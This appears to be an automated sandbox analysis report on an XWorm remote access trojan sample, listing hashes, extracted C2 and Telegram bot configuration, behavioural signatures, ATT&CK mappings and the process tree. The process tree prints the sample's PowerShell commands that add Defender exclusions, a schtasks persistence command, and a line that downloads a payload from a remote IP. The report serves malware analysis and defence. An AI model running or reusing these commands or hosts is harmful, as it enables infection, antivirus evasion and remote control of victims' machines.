xworm | 287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 01:10

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General

Target

287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
Size

199KB
MD5

73309cc961f9645c1c2562ffcdc2dab1
SHA1

6a8545c08c931e016198c80b304ade1c1e8f7a17
SHA256

287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298
SHA512

89858a407acbc7c13a4bd40031abd6803c311d381a37702631b1739d9f0e67c6afae50e6d1188b54a7d0e1ddfbcb6857b68f8f44cad3b10b1b31b53f1b676914
SSDEEP

3072:Pp/WjbfQnyH5oGpIlkOpXFcdXrOjVbcL/6Z3zPK2Cu:KbYymGpIlHuKoLC9/

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://193.222.96.193:81/besho/besho.mp4

Extracted

Family

xworm

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes

Install_directory
%ProgramData%
install_file
taskmgr.exe
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/468-1-0x00000000008F0000-0x0000000000928000-memory.dmp	family_xworm
behavioral2/files/0x000d000000022b23-60.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 2 IoCs

resource	yara_rule
behavioral2/memory/468-1-0x00000000008F0000-0x0000000000928000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/files/0x000d000000022b23-60.dat	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables using Telegram Chat Bot 2 IoCs

resource	yara_rule
behavioral2/memory/468-1-0x00000000008F0000-0x0000000000928000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot
behavioral2/files/0x000d000000022b23-60.dat	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
66	3012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3456	powershell.exe
516	powershell.exe
788	powershell.exe
3552	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe

Executes dropped EXE 2 IoCs

pid	Process
1160	taskmgr.exe
1444	taskmgr.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskmgr = "C:\\ProgramData\\taskmgr.exe"	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4636	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe
516	powershell.exe
516	powershell.exe
788	powershell.exe
788	powershell.exe
3552	powershell.exe
3552	powershell.exe
468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
3012	powershell.exe
3012	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
Token: SeDebugPrivilege	1160	taskmgr.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	1444	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 468 wrote to memory of 3456	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	91
PID 468 wrote to memory of 3456	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	91
PID 468 wrote to memory of 516	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	94
PID 468 wrote to memory of 516	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	94
PID 468 wrote to memory of 788	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	96
PID 468 wrote to memory of 788	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	96
PID 468 wrote to memory of 3552	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	98
PID 468 wrote to memory of 3552	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	98
PID 468 wrote to memory of 4636	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	100
PID 468 wrote to memory of 4636	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	100
PID 468 wrote to memory of 3960	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	108
PID 468 wrote to memory of 3960	468	287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe	108
PID 3960 wrote to memory of 3012	3960	WScript.exe	109
PID 3960 wrote to memory of 3012	3960	WScript.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe
"C:\Users\Admin\AppData\Local\Temp\287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4636
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\ProgramData\ssa.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $webClient = New-Object System.Net.WebClient; $webClient.Credentials = New-Object System.Net.NetworkCredential('dd', 'mn...123456'); $webClient.DownloadFile('http://193.222.96.193:81/besho/besho.mp4', 'C:\Users\Public\Documents\max3d.zip'); Expand-Archive -Path 'C:\Users\Public\Documents\max3d.zip' -DestinationPath 'C:\Users\Public\Documents\' -Force
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3012

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\ssa.vbs

Filesize
733B

MD5
68c8c79d84f5e3f10dd9328272b0ac55

SHA1
5ab9a13ec0d01fc1ed71c27a1a23a61019cb8946

SHA256
29841f038da6a26dac5df28f23b4adcb080f5b0a2312bf996c8073940849eef6

SHA512
d86bd0ac3bd58ee9a1b06e1edba3c03788136292d81bd9cf025525c3a0e40bba9a7b6d5859833a9d470d29ab31b35d5515855a78691bfe54477631d9a0733f6a

Download Submit
C:\ProgramData\taskmgr.exe

Filesize
199KB

MD5
73309cc961f9645c1c2562ffcdc2dab1

SHA1
6a8545c08c931e016198c80b304ade1c1e8f7a17

SHA256
287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298

SHA512
89858a407acbc7c13a4bd40031abd6803c311d381a37702631b1739d9f0e67c6afae50e6d1188b54a7d0e1ddfbcb6857b68f8f44cad3b10b1b31b53f1b676914

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
a43e653ffb5ab07940f4bdd9cc8fade4

SHA1
af43d04e3427f111b22dc891c5c7ee8a10ac4123

SHA256
c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe

SHA512
62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\taskmgr.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
eeb3765a0b785f234084876821b1e55f

SHA1
6312e19d05292ef7b9c6127f26f1763645be6f2b

SHA256
2f3ef2bab47b2fb619171ccb5e41c4227093b0e572e4331ee18eecefa97c18e8

SHA512
85d516c29afb12e801a6b717c4b809eb8b0cb22dd286d569bb60ee6cf6f0670857e23566addc03a65eb7d9ec88b1805db7a787323863039d28019e426e2e6a7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
eb1ad317bd25b55b2bbdce8a28a74a94

SHA1
98a3978be4d10d62e7411946474579ee5bdc5ea6

SHA256
9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

SHA512
d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cae60f0ddddac635da71bba775a2c5b4

SHA1
386f1a036af61345a7d303d45f5230e2df817477

SHA256
b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16

SHA512
28ed8a8bc132ef56971cfd7b517b17cdb74a7f8c247ef6bff232996210075e06aa58a415825a1e038cfb547ad3dc6882bf1ca1b68c5b360ef0512a1440850253

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da185fddf7e751e39023edde12930f37

SHA1
657fcb7fda401b69d3bb97e7b6abf126ac36d4b2

SHA256
8928226805a92acd76d21e1a276176d9af3ca1ec31f14e45a2b4b88f4722cad5

SHA512
db7bc02a1bd86d587840a56334dee9cb80aa0a8635cd2eb1c490bc5466659350de4d625f320731e34fac235016515d0dddc05a6081149dc6c2e82c262be6b975

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oztgipkl.vzn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/468-2-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/468-0-0x00007FFD7C503000-0x00007FFD7C505000-memory.dmp

Filesize
8KB

Download
memory/468-57-0x00007FFD7C503000-0x00007FFD7C505000-memory.dmp

Filesize
8KB

Download
memory/468-58-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/468-63-0x0000000001120000-0x000000000112A000-memory.dmp

Filesize
40KB

Download
memory/468-1-0x00000000008F0000-0x0000000000928000-memory.dmp

Filesize
224KB

Download
memory/3456-12-0x00000206C0390000-0x00000206C03B2000-memory.dmp

Filesize
136KB

Download
memory/3456-18-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-15-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-13-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-14-0x00007FFD7C500000-0x00007FFD7CFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3960-78-0x00000237DFC90000-0x00000237DFCCB000-memory.dmp

Filesize
236KB

Download